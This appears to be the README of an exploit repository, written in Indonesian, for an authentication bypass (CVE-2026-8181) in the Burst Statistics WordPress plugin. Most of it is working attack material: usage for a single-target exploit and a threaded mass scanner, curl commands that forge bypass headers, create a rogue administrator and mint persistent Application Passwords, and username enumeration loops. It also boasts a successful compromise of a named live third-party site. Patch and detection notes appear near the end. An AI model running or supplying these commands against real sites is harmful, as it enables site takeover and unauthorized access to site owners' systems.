| Item | Detail |
|---|---|
| CVE ID | CVE-2026-8181 |
| Plugin | Burst Statistics β Privacy-Friendly WordPress Analytics |
| Versi Terpengaruh | 3.4.0 β 3.4.1.1 |
| Versi Patched | 3.4.2 |
| CVSS Score | 9.8 (Critical) |
| Tipe | CWE-287: Improper Authentication |
| Vektor Serangan | Network / Remote / Unauthenticated |
| Instalasi Aktif | ~200,000+ |
| Penemu | PRISM, Wordfence Threat Intelligence |
| Tanggal Publikasi | 8 Mei 2026 |
Kerentanan Authentication Bypass kritis pada plugin WordPress Burst Statistics versi 3.4.0 hingga 3.4.1.1 memungkinkan attacker tanpa autentikasi untuk mendapatkan akses penuh administrator WordPress hanya dengan mengetahui username admin. Konsekuensinya adalah pengambilalihan akun admin lengkap, termasuk pembuatan akun baru, modifikasi konten, hingga instalasi plugin berbahaya.
Kerentanan berada di method is_mainwp_authenticated() pada file includes/Frontend/class-mainwp-proxy.php:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // β BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // β Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // β Grant admin privileges
return true;
}
return false;
}Bug utama: wp_authenticate_application_password(null, $username, $password) mengembalikan null (bukan WP_Error) ketika Application Passwords tidak tersedia, yang terjadi pada:
- Situs HTTP (bukan HTTPS) dimana
wp_is_application_passwords_available()returnfalse - Situs dimana
is_ssl()returnfalse
Karena is_wp_error(null) = false, kode melanjutkan ke get_user_by('login', $username) yang mengautentikasi hanya berdasarkan username tanpa validasi password sama sekali.
Method has_admin_access() dipanggil saat hook plugins_loaded (prioritas 9) di class-burst.php baris 118:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}Hook ini berjalan SEBELUM REST API route processing, sehingga wp_set_current_user() memberikan hak admin untuk SELURUH request β bukan hanya endpoint Burst.
Attacker ββHTTP RequestβββΆ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
β
βΌ
[plugins_loaded hook fires]
β
Burst::bootstrap() β has_admin_access()
β
HTTP_X_BURSTMAINWP == '1' β is_mainwp_authenticated()
β
wp_authenticate_application_password(null, 'admin', 'anything')
β
Situs HTTP β wp_is_application_passwords_available() = false
β
Return null (BUKAN WP_Error)
β
is_wp_error(null) = false β BYPASS!
β
get_user_by('login', 'admin') β found
β
wp_set_current_user(admin_id) β FULL ADMIN
β
has_admin_access() = true
β
[REST API memproses request dengan konteks admin]
β
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
- Target menjalankan HTTP (bukan HTTPS, atau SSL tidak terdeteksi dengan benar)
- Plugin Burst Statistics versi 3.4.0 β 3.4.1.1 terinstal dan aktif
- Mengetahui username admin (dapat di-enumerate)
pip3 install requests# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -kpython3 poc_CVE-2026-8181.pyMode interaktif:
- Input file target list (
.txt, satu domain per baris) - Atur jumlah thread (default: 50)
- Atur kredensial akun baru
- Jalankan scan
Format targets.txt:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"h@ck.er","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
donePengujian dilakukan pada WordPress 6.9 dengan Burst Statistics 3.4.1.1 (localhost):
| Pengujian | Hasil | Bukti |
|---|---|---|
Akses /wp/v2/users/me tanpa auth |
GAGAL | rest_not_logged_in |
| Akses dengan bypass headers | BERHASIL | Profil admin + email + roles |
| Buat akun administrator baru | BERHASIL | User ID 2, role: administrator |
| Baca WordPress settings | BERHASIL | Site title, admin email, URL |
| Dapatkan Application Password | BERHASIL | Base64 token admin:password |
| Daftar plugin terinstal | BERHASIL | Daftar lengkap dengan versi |
| Target | Hasil |
|---|---|
ausdermitte-binz.de |
BERHASIL PWNED β Burst 3.4.1.1, bypass via binzwpadmin, akun xenon1337 dibuat (ID:30) |
Perbaikan di versi 3.4.2 mengatasi beberapa masalah:
- Cek return type yang benar:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // β Cek WP_User, bukan !WP_Error
return false;
}- Force Application Passwords availability:
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);- CSRF nonce requirement untuk cookie-authenticated requests
- Nonce replay protection dengan single-use enforcement via
add_option() - Removed legacy signature format yang tidak mengikat username
- Update Burst Statistics ke versi 3.4.2 atau lebih baru
- Audit akun user β cek akun administrator yang tidak dikenal
- Cabut semua Application Passwords (
wp_application_passwordsuser meta) - Review email admin WordPress dan setting lainnya
- Cek plugin/theme yang tidak dikenal
- Cari di access log request dengan header
X-BURSTMAINWP: 1dari IP eksternal - Monitor tabel
wp_usersuntuk akun administrator baru - Cek
wp_optionsuntuk transientburst_mainwp_app_token_* - Review Application Passwords di profil user
| File | Deskripsi |
|---|---|
exploit_CVE-2026-8181.py |
PoC exploit single target |
poc_CVE-2026-8181.py |
Mass scanner multi-target dengan threading |
README.md |
Dokumentasi ini |
Tool dan dokumentasi ini hanya untuk pengujian keamanan yang sah dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah ilegal. Penulis tidak bertanggung jawab atas penyalahgunaan.